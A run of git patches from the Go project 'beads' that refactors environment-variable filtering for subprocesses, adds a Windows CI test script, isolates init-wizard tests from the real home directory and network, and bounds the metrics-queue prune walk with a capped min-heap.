"github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/githooksenv" "github.com/steveyegge/beads/internal/storage" ) @@ -451,36 +452,29 @@ func (c *remoteCredentials) applyToCmd(cmd *exec.Cmd) { if c.empty() { return } - // Start with current process env, filtering out any existing credential vars + cmd.Env = c.childEnv(os.Environ()) +} + +func (c *remoteCredentials) childEnv(base []string) []string { + // Start with the base environment, filtering out any existing credential vars // to prevent stale values from leaking into the subprocess. - env := make([]string, 0, len(os.Environ())+2) - for _, e := range os.Environ() { - if !strings.HasPrefix(e, "DOLT_REMOTE_USER=") && !strings.HasPrefix(e, "DOLT_REMOTE_PASSWORD=") { - env = append(env, e) - } - } + env := execenv.Without(base, "DOLT_REMOTE_USER", "DOLT_REMOTE_PASSWORD") if c.username != "" { env = append(env, "DOLT_REMOTE_USER="+c.username) } if c.password != "" { env = append(env, "DOLT_REMOTE_PASSWORD="+c.password) } - cmd.Env = env + return env } func setCmdEnv(cmd *exec.Cmd, key, value string) { - prefix := key + "=" base := cmd.Env if base == nil { base = os.Environ() } - env := make([]string, 0, len(base)+1) - for _, e := range base { - if !strings.HasPrefix(e, prefix) { - env = append(env, e) - } - } - cmd.Env = append(env, prefix+value) + env := execenv.Without(base, key) + cmd.Env = append(env, key+"="+value) } func applyS3ChecksumEnvToCmd(cmd *exec.Cmd) { @@ -512,8 +506,7 @@ func applyNoGitHooksToCmd(cmd *exec.Cmd) { // Append rather than replace: a caller that set its own // GIT_CONFIG_PARAMETERS (a test harness pinning user.email, say) would // otherwise have it silently dropped by this call. - setCmdEnv(cmd, githooksenv.ParametersEnv, - githooksenv.AppendParameter(githooksenv.Extract(base), githooksenv.NoHooksParam)) + cmd.Env = githooksenv.DisabledEnv(base) } // saveEnv captures the current state of key and returns a function that puts @@ -827,15 +820,11 @@ func (s *DoltStore) prepareCLIRouteForCloudAuth(ctx context.Context, remote stri if len(prefixes) == 0 { return false, nil // unknown scheme — not a cloud remote } - for _, e := range os.Environ() { - for _, prefix := range prefixes { - if strings.HasPrefix(e, prefix) { - if err := s.ensureMatchingCLIRemote(remote, remoteURL); err != nil { - return false, fmt.Errorf("remote %q has cloud credentials and requires CLI routing: %w", remote, err) - } - return true, nil - } + if execenv.ContainsKeyWithPrefix(os.Environ(), prefixes...) { + if err := s.ensureMatchingCLIRemote(remote, remoteURL); err != nil { + return false, fmt.Errorf("remote %q has cloud credentials and requires CLI routing: %w", remote, err) } + return true, nil } return false, nil } diff --git a/internal/storage/dolt/credentials_test.go b/internal/storage/dolt/credentials_test.go index b6b58d65c..62c12d4be 100644 --- a/internal/storage/dolt/credentials_test.go +++ b/internal/storage/dolt/credentials_test.go @@ -70,6 +70,68 @@ func TestApplyS3ChecksumEnvToCmd(t *testing.T) { } } +func TestSetCmdEnvUsesHostKeySemantics(t *testing.T) { + nearCollision := "DOLT_REMOTE_PAſSWORD=near-collision" + cmd := exec.Command("dolt", "push") // #nosec G204 -- test command is not executed + cmd.Env = []string{ + "dolt_remote_password=mixed-stale", + "DOLT_REMOTE_PASSWORD=canonical-stale", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + } + + setCmdEnv(cmd, "DOLT_REMOTE_PASSWORD", "fresh") + want := []string{ + "dolt_remote_password=mixed-stale", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + "DOLT_REMOTE_PASSWORD=fresh", + } + if runtime.GOOS == "windows" { + want = want[1:] + } + if !slices.Equal(cmd.Env, want) { + t.Fatalf("setCmdEnv() = %q, want %q on %s", cmd.Env, want, runtime.GOOS) + } +} + +func TestRemoteCredentialsChildEnvUsesHostKeySemantics(t *testing.T) { + nearCollision := "DOLT_REMOTE_PAſSWORD=near-collision" + base := []string{ + "dolt_remote_user=mixed-stale-user", + "DOLT_REMOTE_USER=canonical-stale-user", + "dolt_remote_password=mixed-stale-password", + "DOLT_REMOTE_PASSWORD=canonical-stale-password", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + } + original := slices.Clone(base) + creds := &remoteCredentials{username: "fresh-user", password: "fresh-password"} + + got := creds.childEnv(base) + want := []string{ + "dolt_remote_user=mixed-stale-user", + "dolt_remote_password=mixed-stale-password", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + "DOLT_REMOTE_USER=fresh-user", + "DOLT_REMOTE_PASSWORD=fresh-password", + } + if runtime.GOOS == "windows" { + want = want[2:] + } + if !slices.Equal(got, want) { + t.Fatalf("childEnv() = %q, want %q on %s", got, want, runtime.GOOS) + } + if !slices.Equal(base, original) { + t.Fatal("childEnv modified its input") + } +} + func TestPrepareDoltCLITransferCommandAppliesCredentialsAndS3Env(t *testing.T) { t.Setenv(awsResponseChecksumValidationEnv, "when_supported") creds := &remoteCredentials{username: "user", password: "pass"} diff --git a/scripts/ci/test-windows-env-helpers.sh b/scripts/ci/test-windows-env-helpers.sh new file mode 100644 index 000000000..31894452b --- /dev/null +++ b/scripts/ci/test-windows-env-helpers.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +# Run the actual helper packages on Windows, including their native-only tests. +set -euo pipefail + +root=$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd) +cd "$root" +# These environment helpers are pure Go; no C compiler is needed for this lane. +export CGO_ENABLED=0 +# shellcheck source=../../.buildflags +source .buildflags + +go_bin=$(command -v go) || { echo 'Go is required for Windows environment tests' >&2; exit 1; } +host=$("$go_bin" env GOHOSTOS GOOS) || exit $? +if [[ "$host" != $'windows\nwindows' ]]; then + echo 'Environment helper tests require native Windows Go host and target' >&2 + exit 1 +fi + +log=$(mktemp) +trap 'rm -f "$log"' EXIT +if "$go_bin" test -count=1 -v ./internal/execenv ./internal/githooksenv ./internal/gittraceenv ./internal/gitenv >"$log" 2>&1; then + cat "$log" +else + status=$? + cat "$log" + exit "$status" +fi + +# Additional passing cases are welcome; these Windows boundaries must execute. +required=( + TestEnvironmentOperationsForBothHosts/Windows + TestKeyEqualUsesHostSemantics + TestDisabledEnvUsesHostKeySemantics + TestScrubEnvWindowsCaseInsensitiveNames + TestScrubEnvDoesNotEqualFoldUnicodeKeys + TestStderrDirectedWindowsLeadingSlashIsFileTarget + TestScrubRoutingUsesHostKeySemantics +) +for name in "${required[@]}"; do + count=$(grep -Ec "^[[:space:]]*--- PASS: $name \\(" "$log" || true) + if [[ "$count" != 1 ]]; then + echo "Required Windows test did not pass exactly once: $name" >&2 + exit 1 + fi +done diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 61450e3e3..da606b381 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -165,6 +165,22 @@ func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { } } +func TestPRWorkflowExercisesWindowsEnvironmentHelpers(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + // The benchmark test owns this shared job's matrix and CI Gate propagation. + job := workflow.job(t, "pr-preflight-platforms") + step := job.step(t, "Check shared environment key semantics") + if step.If != "matrix.os == 'windows-latest'" || step.Shell != "bash" { + t.Errorf("environment helpers need native Windows Bash: if=%q shell=%q", step.If, step.Shell) + } + if step.ContinueOnError != nil && step.ContinueOnError != false { + t.Error("environment helper step may not continue on error") + } + if got := strings.TrimSpace(step.Run); got != "bash scripts/ci/test-windows-env-helpers.sh" { + t.Errorf("environment helper entrypoint = %q", got) + } +} + func TestPRCIGateRequiresJSWasmHookExecution(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "check-cmd-bd-puregeo-tests") diff --git a/scripts/repro-dolt-prod-timeouts/main.go b/scripts/repro-dolt-prod-timeouts/main.go index 8d73547e3..c9ee44d66 100644 --- a/scripts/repro-dolt-prod-timeouts/main.go +++ b/scripts/repro-dolt-prod-timeouts/main.go @@ -21,7 +21,6 @@ import ( "os" "os/exec" "path/filepath" - "runtime" "sort" "strconv" "strings" @@ -29,6 +28,7 @@ import ( "time" _ "github.com/go-sql-driver/mysql" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/storage/depid" "github.com/steveyegge/beads/internal/storage/doltutil" ) @@ -1135,31 +1135,7 @@ func subprocessEnv(extra ...string) []string { } func cleanEnv(env []string, keys ...string) []string { - drop := make(map[string]struct{}, len(keys)) - for _, key := range keys { - drop[environmentKeyIdentity(key)] = struct{}{} - } - out := env[:0] - for _, e := range env { - key, _, ok := strings.Cut(e, "=") - if ok { - if _, skip := drop[environmentKeyIdentity(key)]; skip { - continue - } - } - out = append(out, e) - } - return out -} - -// environmentKeyIdentity mirrors the key comparison used by os/exec when it -// prepares a child environment. strings.ToLower is intentional: EqualFold -// would collapse Unicode near-collisions that os/exec keeps distinct. -func environmentKeyIdentity(key string) string { - if runtime.GOOS == "windows" { - return strings.ToLower(key) - } - return key + return execenv.Without(env, keys...) } func tail(s string, max int) string { diff --git a/scripts/repro-dolt-prod-timeouts/main_test.go b/scripts/repro-dolt-prod-timeouts/main_test.go index 5e8f4f114..967dde1b1 100644 --- a/scripts/repro-dolt-prod-timeouts/main_test.go +++ b/scripts/repro-dolt-prod-timeouts/main_test.go @@ -17,6 +17,7 @@ import ( "time" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/storage/depid" "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/storage/schema" @@ -238,7 +239,7 @@ func TestBenchmarkCommandBuildersStripDoltEnvOverrides(t *testing.T) { for _, key := range subprocessEnvDenylist { for _, entry := range cmd.Env { gotKey, _, _ := strings.Cut(entry, "=") - if environmentKeyIdentity(gotKey) == environmentKeyIdentity(key) { + if execenv.KeyEqual(gotKey, key) { t.Fatalf("Env retained ambient denied override %q", entry) } } From 577c9ac1b187417f9b13387604c6c99cd08ce89d Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sun, 27 Sep 2026 03:02:24 -0600 Subject: [PATCH 145/624] test(init): explicitly enable the contributor wizard fixture (#6476) * test(init): explicitly enable the contributor wizard fixture (saa-cgh.120.18) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): explicitly enable the contributor wizard fixture (saa-cgh.120.18) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): scope workspace selection across wizard fixtures (saa-cgh.120.18) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --- cmd/bd/init_test.go | 44 ++++++++++++++++++++++++++++++++++---------- 1 file changed, 34 insertions(+), 10 deletions(-) diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 2286ca90b..2b264d52a 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -968,6 +968,8 @@ func TestInitPromptNonGitRepo(t *testing.T) { // TestInitPromptExistingRole verifies behavior when beads.role is already set func TestInitPromptExistingRole(t *testing.T) { skipIfNoDolt(t) + // Reinit publishes its selected workspace into the command environment. + t.Setenv("BEADS_DIR", "") t.Run("existing role is preserved on reinit with --force", func(t *testing.T) { // Reset global state origDBPath := dbPath @@ -1033,6 +1035,30 @@ func TestInitPromptExistingRole(t *testing.T) { func TestInitContributorSetsBeadsRoleContributor(t *testing.T) { skipIfNoDolt(t) + // Serial: this fixture owns command flags, stdin, cwd and process environment. + // Do not inherit another in-process command's selected workspace. + t.Setenv("BEADS_DIR", "") + // The pipe below supplies real wizard answers; explicitly allow interaction + // even when CI or terminal detection would normally suppress it. + t.Setenv("BD_NON_INTERACTIVE", "0") + for _, name := range []string{"contributor", "team", "force", "non-interactive", "role", "prefix", "quiet"} { + flag := initCmd.Flags().Lookup(name) + if flag == nil { + t.Fatalf("missing init flag --%s", name) + } + value, changed := flag.Value.String(), flag.Changed + t.Cleanup(func() { + if err := flag.Value.Set(value); err != nil { + t.Errorf("restore --%s: %v", name, err) + } + flag.Changed = changed + }) + if err := flag.Value.Set(flag.DefValue); err != nil { + t.Fatalf("reset --%s: %v", name, err) + } + flag.Changed = false + } + origDBPath := dbPath defer func() { dbPath = origDBPath }() dbPath = "" @@ -1044,24 +1070,22 @@ func TestInitContributorSetsBeadsRoleContributor(t *testing.T) { git.ResetCaches() }() - initCmd.Flags().Set("contributor", "false") - initCmd.Flags().Set("team", "false") - initCmd.Flags().Set("force", "false") + // Keep test isolated from the real home/planning repo. + testHome := t.TempDir() + t.Setenv("HOME", testHome) + t.Setenv("USERPROFILE", testHome) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(testHome, ".config")) tmpDir := newGitRepo(t) t.Chdir(tmpDir) - // Keep test isolated from the real home/planning repo. - testHome := t.TempDir() - t.Setenv("HOME", testHome) - - // Configure remotes so contributor wizard doesn't ask the "continue anyway" prompt. - cmd := exec.Command("git", "remote", "add", "origin", "git@github.com:osamu2001/zmx.git") + // Owned local remotes prevent network lookups during initialization. + cmd := exec.Command("git", "remote", "add", "origin", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add origin remote: %v", err) } - cmd = exec.Command("git", "remote", "add", "upstream", "git@github.com:neurosnap/zmx.git") + cmd = exec.Command("git", "remote", "add", "upstream", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add upstream remote: %v", err) From ced977b21da3c0529982c18a0b2955797a3dcf51 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sun, 27 Sep 2026 02:02:39 -0700 Subject: [PATCH 146/624] perf(metrics): bound the all-fresh-backlog prune walk with an incremental heap (#6515) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(metrics): red — bound the all-fresh-backlog prune walk (refs be-wwy2.3) Rework prune_test.go for the bounded-incremental-heap design: - TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress now asserts a bounded ReadDir call count via a countingReader, instead of dropped==0. - New TestPruneQueueConvergesAcrossRepeatedCalls pins eventual convergence to <= maxFiles across repeated budget-limited calls. - TestPruneQueueDoesNotCapOnPartialListing reworked for incremental eviction: a recordingReader captures the examined prefix so the test can assert the examined chunk's own eviction stood (54 dropped/146 survivors) while the never-examined remainder is untouched. - New TestQueueMinHeapNeverExceedsCapacity and TestQueueMinHeapCapacityZero pin the not-yet-implemented queueMinHeap type's invariants directly. go test ./internal/metrics/... fails to compile (undefined: queueMinHeap), confirming RED. * feat: green — Bound the all-fresh-backlog prune walk so a truncated pass can still apply partial caps (Factor B residual) (refs be-wwy2.3) * docs(metrics): scope the prune's cap guarantees to what the bounded walk delivers Maintainer review fixup for #6515 (adopted as bd-98nuy), iteration 1. Majors: - flusher.go's call-site comment still documented the design this PR deleted ("finishes its listing when stopping would leave the queue unbounded" and "the prune's cap-unlink pass runs after the budget check"). Both clauses are now false: the break is unconditional and evictions happen inline inside the budget-checked region. Rewritten to the post-change story, keeping the one still-true clause (eventkit's own flush prologue is the un-budgeted half). - PruneQueue's "converges to the caps across repeated calls" is false when one budget examines no more than maxFiles entries: eviction requires pushing more than maxFiles live entries (or maxBytes worth), so on the bd-ulfod-class spool (~165 stats/s, ~5k entries per 30s budget) no call evicts anything and pruneTTL is the only bound. Disclosed explicitly instead of papered over, with why the bounded-overrun alternative was not taken: walking past the expired budget to maxFiles+pruneChunkSize examined entries reinstates the overrun this lane removed (~10k stats, 2x the advertised bound) and still would not make convergence unconditional -- where the count cap binds first it yields only pruneChunkSize evictions per call, well under what one flushInterval of the documented emission rate adds. Scaling the caps down to the examined prefix stays forbidden: it would delete entries a full pass keeps. New TestPruneQueueCapProgressNeedsMoreExaminedThanMaxFiles pins both sides of that boundary. Minors (nearby, doc/test only): - The retention-ordering claims overclaimed. queueMinHeap's "the entries the heap holds are exactly the maxFiles-newest (within maxBytes) of everything examined" is false once the byte cap evicts: a later small entry can fit after a larger, newer one was dropped, so the held set is a superset of a global pass's survivors, never a subset. Restated as the one-directional guarantee, and the constant/summary prose now scopes oldest-first to the examined prefix (prefix order being the filesystem's, not chronological). The cap values themselves remain global. - TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress asserted only that the budget was honored -- already pinned by TestPruneQueueStopsOnExpiredContext -- so it stayed green with evict() stubbed to a no-op, under exactly the cap-skip livelock it is named for. Now asserts the 54 evictions the one budgeted chunk makes, plus the resulting directory count. - Recorded that per-pass progress is best-effort rather than exactly pruneChunkSize-maxFiles: evictions unlink underneath the same in-flight getdents cookie the walk iterates, which ext4 htree may skip or repeat. Iteration 2 (non-gating cleanups; docs and tests only): - prune.go's "the newest entry a pass examined is never evicted (it can never be the oldest entry the heap holds)" was a fresh false universal minted by iteration 1's own fixup: evict() pops while live.Len() > 0, so once every older entry has been popped the newest IS the oldest held and is popped too (A(-10m, 30B) + N(-1m, 200B) at maxBytes=100 => dropped=2). Restated as the direction the min-heap actually guarantees: evictions always take the oldest entry held, so the newest examined is never dropped in favor of an older entry held alongside it, and it is evicted only once every older entry has been popped and a cap still binds -- its own size alone over maxBytes, or a maxFiles of 0 -- in which case a full pass over the same examined set drops it as well, so the one-directional guarantee is unaffected. (The reviewed wording named only the byte cap; maxFiles=0 reaches the same path, so the correction covers both caps.) - TestQueueMinHeapNeverExceedsCapacity / TestQueueMinHeapCapacityZero were tautological: each body popped until h.Len() <= maxFiles and then asserted h.Len() <= maxFiles, which the loop's own exit condition entails, so neither could red on a broken Pop. They now assert that every pop hands back the OLDEST entry held -- the contract evict() consumes, since it unlinks the path the pop RETURNS -- plus the survivor set by identity (the maxFiles newest), with the push order permuted (stride 97, coprime with 200) so the heap has to reorder rather than receive its input pre-sorted. Mutation-proved per arm: e := old[n-1] -> e := old[0] in queueMinHeap.Pop now reds TestQueueMinHeapNeverExceedsCapacity ("popped q0188.evtq while the heap still holds q0188.evtq"), where both tests previously stayed green. Measured: the survivor-identity assertion ALONE stays green under that same mutation -- a Pop that returns the wrong entry still shrinks the heap by one and still leaves the correct survivors -- so the returned-entry assertion is the load-bearing pin. Both are kept. - flusher.go: "the prune's own overrun is now at most one chunk of stats" also owes that chunk's own cap-eviction unlinks, which applying the caps inline moved into the budgeted region. Stated. - Renamed TestPruneQueueDoesNotCapOnPartialListing to TestPruneQueueCapsOnlyTheExaminedPrefixOnPartialListing: this PR inverted the test to assert the examined prefix IS capped (54/540), so the name became its own negation. The name was accurate at the base (073556c79 asserted (0,0)), i.e. the mismatch is PR-created. The old name appears in the PR description's Testing list. Not taken, with the measurement, so it is not re-litigated as an oversight: - The inert regime emits no log line (flusher.go logs only when dropped > 0, and the accepted regime has dropped == 0 by construction). Reporting entries examined / which cap was reached requires PruneQueue's return contract to change, which this PR's description explicitly advertises as untouched and which ripples to the pruneQueueFn seam's test stub; the cheap call-site variant (an else-if on pruneCtx.Err()) cannot be pinned at all, because RunSendMetrics builds that deadline internally from flushTimeout, leaving a test no seam to expire it. Shipping an untested new production branch in a telemetry child was the worse trade against a non-gating minor, so this is carried as a follow-up instead. No production behavior change in either iteration. All assertions mutation-proved: a no-op evict() reds the two progress pins, a prefix-scaled cap reds the inert pin, and a wrong-entry Pop reds the heap-contract pin. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- internal/metrics/flusher.go | 12 +- internal/metrics/prune.go | 199 +++++++++++------ internal/metrics/prune_test.go | 393 +++++++++++++++++++++++++++++---- 3 files changed, 495 insertions(+), 109 deletions(-) diff --git a/internal/metrics/flusher.go b/internal/metrics/flusher.go index ef548ad04..a1a4e3ea3 100644 --- a/internal/metrics/flusher.go +++ b/internal/metrics/flusher.go @@ -32,10 +32,14 @@ func RunSendMetrics() int { // children on a backed-up spool were observed alive for ~15 minutes // against this 30s advertised bound (GH#5871). Giving it a budget bounds // the part that ran away. It does not make the child's total wall clock - // flushTimeout: the prune may still overrun (see PruneQueue, which - // finishes its listing when stopping would leave the queue unbounded), - // eventkit's own flush prologue lists the directory unbounded, and the - // prune's cap-unlink pass runs after the budget check that admitted it. + // flushTimeout. The prune's own overrun is now at most one chunk of stats, + // plus the unlinks that chunk's own cap evictions perform: it consults this + // deadline once per directory chunk and stops at the first boundary past it + // with no exception, because its caps are applied inline as the walk goes + // rather than in a pass after the budget check that admitted it + // (be-wwy2.3 — applying them inline is what moved those unlinks into the + // budgeted region). What is still un-budgeted is eventkit's own + // flush prologue, which lists the directory unbounded. pruneCtx, cancelPrune := context.WithTimeout(context.Background(), flushTimeout) defer cancelPrune() diff --git a/internal/metrics/prune.go b/internal/metrics/prune.go index c1e22119c..f1c5203d1 100644 --- a/internal/metrics/prune.go +++ b/internal/metrics/prune.go @@ -1,12 +1,10 @@ package metrics import ( + "container/heap" "context" - "errors" - "io" "os" "path/filepath" - "sort" "strings" "time" ) @@ -23,8 +21,12 @@ const ( // drain-vs-emission race. When emission outruns drain (a shared $HOME can // emit ~2.3 files/s against a throttled drain of ~0.3-0.4/s) the queue // otherwise grows without bound, and every directory scan pays for it. - // Oldest batches are dropped first: recent telemetry is the only kind - // worth shipping late. + // Recent telemetry is the only kind worth shipping late, so batches are + // dropped oldest-first. Both cap values are global — never scaled down to + // the prefix a budget-truncated pass managed to examine — but that drop + // ORDER is per-examined-prefix, and prefix order is the filesystem's + // rather than chronological. See PruneQueue for what that does and does + // not guarantee. maxQueueFiles = 10_000 maxQueueBytes = 64 << 20 // 64 MiB @@ -44,9 +46,10 @@ const ( // PruneQueue bounds the queued-event backlog in dir before a flush: event // batches (and orphaned emitter temp files) older than pruneTTL are deleted, // and the surviving batches are capped at maxQueueFiles / maxQueueBytes by -// dropping oldest-first. It returns how many files were removed and the bytes -// freed. It runs only in the detached send-metrics child, so its full -// directory scan never lands on an interactive bd invocation. +// dropping oldest-first within whatever prefix of the listing the pass +// examined. It returns how many files were removed and the bytes freed. It +// runs only in the detached send-metrics child, so its full directory scan +// never lands on an interactive bd invocation. // // The prune deliberately runs OUTSIDE eventkit.lock (Flush's TryLock treats // ErrLocked as "another flusher owns the queue" and silently no-ops, so @@ -58,14 +61,65 @@ const ( // GH#5649 lane). // // The scan is bounded by ctx: it reads the directory in chunks and, once the -// context is done, abandons the walk and keeps whatever it already deleted +// context is done, abandons the walk and keeps whatever it already decided // (GH#5871 — the child advertises a flushTimeout budget, and a spool large // enough to matter is exactly the one whose per-entry stat walk outruns it). -// The one exception is a pass that has deleted nothing when its budget runs -// out: it finishes the listing anyway, because abandoning it there would also -// skip the oldest-first caps and leave the queue with no bound applied at all -// (see the walk below). That pass can outrun ctx; the walk is otherwise the -// bounded half of a child that used to run ~15 minutes against a 30s budget. +// Every chunk boundary is a safe place to stop, with no exception: the +// oldest-first caps are applied incrementally as each live entry is seen, via +// a bounded min-heap capped at maxFiles/maxBytes, rather than deferred to a +// pass over the whole listing (be-wwy2.3 — this replaced an earlier version +// where an all-young over-cap pile made no TTL progress and so was allowed to +// outrun its own budget to the end of the listing just to let the caps fire at +// all; see GH#5660). +// +// What a truncated pass guarantees is one-directional. Every entry it evicts +// is one a full oldest-first pass over the same examined set would also have +// dropped, and the cap values are never scaled down to the examined prefix, so +// a truncated pass deletes no more than a full pass would — never something a +// full pass would have kept. That is the property the earlier fail-closed +// "return (0, 0) on a partial listing" guard existed to protect, and it is why +// the guard is no longer needed. The converse does NOT hold: under the byte cap +// the survivor set is readdir-order-dependent and may retain an entry older +// than one already evicted. With maxBytes=100, arrivals A(t=10, 60B) then +// B(t=20, 60B) evict A, and a later C(t=5, 30B) then fits and stays, leaving +// {B, C} where a global pass over the same three keeps {B}. So the design +// under-applies age fidelity rather than inverting it: evictions always take +// the oldest entry the heap holds, so the newest entry a pass examined is never +// dropped in favor of an older entry it is held alongside. It is evicted only +// once every older entry has already been popped and a cap still binds — its +// own size alone over maxBytes, or a maxFiles of 0 — and a full pass over the +// same examined set drops it in that case too, so the one-directional +// guarantee above is unaffected. +// If age fidelity ever becomes load-bearing, the cheap recovery is a resumable +// stopping point — a persisted cursor — not a return to the whole-listing pass. +// +// A queue too large to fully examine within one budget converges to the caps +// across repeated calls instead of within a single one, with two disclosed +// limits. First, per-pass progress is best-effort rather than exactly +// pruneChunkSize-maxFiles evictions: the evictions unlink underneath the same +// in-flight getdents cookie the walk is iterating, and POSIX leaves readdir +// behavior unspecified for entries removed after the directory was opened (ext4 +// htree can skip or repeat an entry when a block is compacted). That is +// self-healing — a skipped entry defers to the next spawn, a repeated one hits +// remove()'s already-gone tolerance — but it makes the per-pass rate a lower +// bound, not an equality. +// +// Second, and more sharply: convergence needs at least one eviction per call, +// and an eviction needs a single call to push more than maxFiles live entries +// (or more than maxBytes worth). A budget that examines fewer than that evicts +// nothing at all, however many entries the directory actually holds, so +// repeated calls make no cap progress and pruneTTL is the only bound left. On +// the bd-ulfod-class spool above (~165 stats/s) a 30s budget examines ~5k +// entries — under both caps — which is exactly the pathological pile the caps +// exist for. That regime is accepted here rather than fixed, because the only +// safe fix is to examine more entries: nothing about a prefix of fewer than +// maxFiles entries can prove any one of them is outside the newest maxFiles of +// the whole directory. Letting the walk run past its expired budget until +// maxFiles+pruneChunkSize entries are examined would reinstate the overrun this +// lane removed (~10k stats, 2x the advertised bound) and still would not make +// convergence unconditional — wherever the count cap binds first it yields only +// pruneChunkSize evictions per call, well under the ~690 files one flushInterval +// of the emission rate above can add. func PruneQueue(ctx context.Context, dir string, now time.Time) (dropped int, freed int64) { return pruneQueue(ctx, dir, now, pruneTTL, maxQueueFiles, maxQueueBytes) } @@ -79,12 +133,45 @@ type queueEntry struct { // dirChunkReader is the chunked-listing half of *os.File. It is a seam so a // test can inject a listing that fails part way through: a mid-listing read -// error leaves a PARTIAL prefix, which must never reach the oldest-first cap -// pass below. +// error simply ends the walk, leaving whatever eviction decisions were +// already made for the examined prefix in place — the unexamined remainder is +// left untouched, never guessed at. type dirChunkReader interface { ReadDir(n int) ([]os.DirEntry, error) } +// queueMinHeap is a container/heap.Interface over queueEntry ordered by +// modTime ascending, so Pop always removes the oldest live entry. Capping it +// at maxFiles/maxBytes during the walk — push, then pop while over either cap +// — bounds the live-candidate set at O(maxFiles) in memory regardless of how +// many entries the directory holds. It is also what makes a streaming, +// incremental cap decision safe: at any point the walk might stop, including +// every chunk boundary, the heap is within both caps and every entry it has +// popped is one a full oldest-first pass over everything examined so far would +// also have dropped, because a later entry can only be newer than one already +// evicted and so can never un-evict it. Under the count cap alone that makes +// the held set exactly the maxFiles-newest examined so far. Once the byte cap +// is doing the evicting it does not: a later small entry can fit after a +// larger, newer one was evicted, so the held set is a superset of a global +// pass's survivors, never a subset (PruneQueue carries the worked example). +type queueMinHeap []queueEntry + +func (h queueMinHeap) Len() int { return len(h) } +func (h queueMinHeap) Less(i, j int) bool { return h[i].modTime.Before(h[j].modTime) } +func (h queueMinHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } + +func (h *queueMinHeap) Push(x any) { + *h = append(*h, x.(queueEntry)) +} + +func (h *queueMinHeap) Pop() any { + old := *h + n := len(old) + e := old[n-1] + *h = old[:n-1] + return e +} + // pruneQueue is PruneQueue with the knobs exposed for tests. func pruneQueue(ctx context.Context, dir string, now time.Time, ttl time.Duration, maxFiles int, maxBytes int64) (dropped int, freed int64) { f, err := os.Open(dir) // #nosec G304 -- dir is the metrics DataDir, not user input @@ -98,30 +185,36 @@ func pruneQueue(ctx context.Context, dir string, now time.Time, ttl time.Duratio // pruneQueueFrom is pruneQueue over an already-opened listing of dir. func pruneQueueFrom(ctx context.Context, r dirChunkReader, dir string, now time.Time, ttl time.Duration, maxFiles int, maxBytes int64) (dropped int, freed int64) { - var live []queueEntry // surviving .evtq batches, candidates for the caps + live := &queueMinHeap{} + heap.Init(live) var liveBytes int64 - truncated := false - for chunk := 0; ; chunk++ { + + // evict pops the oldest live entry while either cap is exceeded. Called + // after every push, so the heap never holds more than maxFiles entries + // (or maxBytes worth) at any point the walk might stop. + evict := func() { + for live.Len() > 0 && (live.Len() > maxFiles || liveBytes > maxBytes) { + e := heap.Pop(live).(queueEntry) + liveBytes -= e.size + if remove(e.path) { + dropped++ + freed += e.size + } + } + } + + for { // One budget check per chunk, so the worst-case overrun is one // chunk of stats rather than the whole spool. os.ReadDir is not // usable here: it reads AND name-sorts every entry before the caller // sees one, which on a backed-up queue is precisely the unbounded // prologue this bounds (same reason hasQueuedEvents streams). // - // Out of budget is not automatically "stop". A truncated walk cannot - // run the cap pass below, so a pass that also deleted nothing has - // applied NEITHER drain — and since the next child reopens the - // directory at offset zero, it would walk the same young prefix and - // stop in the same place, leaving the file/byte caps inert forever - // against exactly the young oversized spool they were added for - // (GH#5660). So the deadline stops the walk only once there is TTL - // progress to keep (or before the first chunk, where the caller - // handed over no budget at all and the queue may not even be large). - // The cost is disclosed: on a big all-young queue this child runs - // past its budget to the end of the listing, because that is the - // only pass in which the caps can fire. - if ctx.Err() != nil && (chunk == 0 || dropped > 0) { - truncated = true + // Unconditional, with no exception for a chunk that dropped nothing: + // the caps are applied incrementally below as each live entry is + // pushed, so stopping here never leaves them unapplied the way a + // deferred whole-listing pass would (be-wwy2.3 / GH#5660). + if ctx.Err() != nil { break } dirents, readErr := r.ReadDir(pruneChunkSize) @@ -151,48 +244,18 @@ func pruneQueueFrom(ctx context.Context, r dirChunkReader, dir string, now time. continue } if isBatch { - live = append(live, queueEntry{filepath.Join(dir, name), fi.ModTime(), fi.Size()}) + heap.Push(live, queueEntry{filepath.Join(dir, name), fi.ModTime(), fi.Size()}) liveBytes += fi.Size() + evict() } } if readErr != nil { - // io.EOF means the whole directory was listed and the caps below - // may run. Anything else ended the listing early, so what we - // hold is a prefix, not the queue: the cap pass must not see it. - if !errors.Is(readErr, io.EOF) { - truncated = true - } + // Whatever was examined already had its caps applied above via + // evict(); a non-EOF error just ends the walk here rather than + // making any decision about the unexamined remainder. break 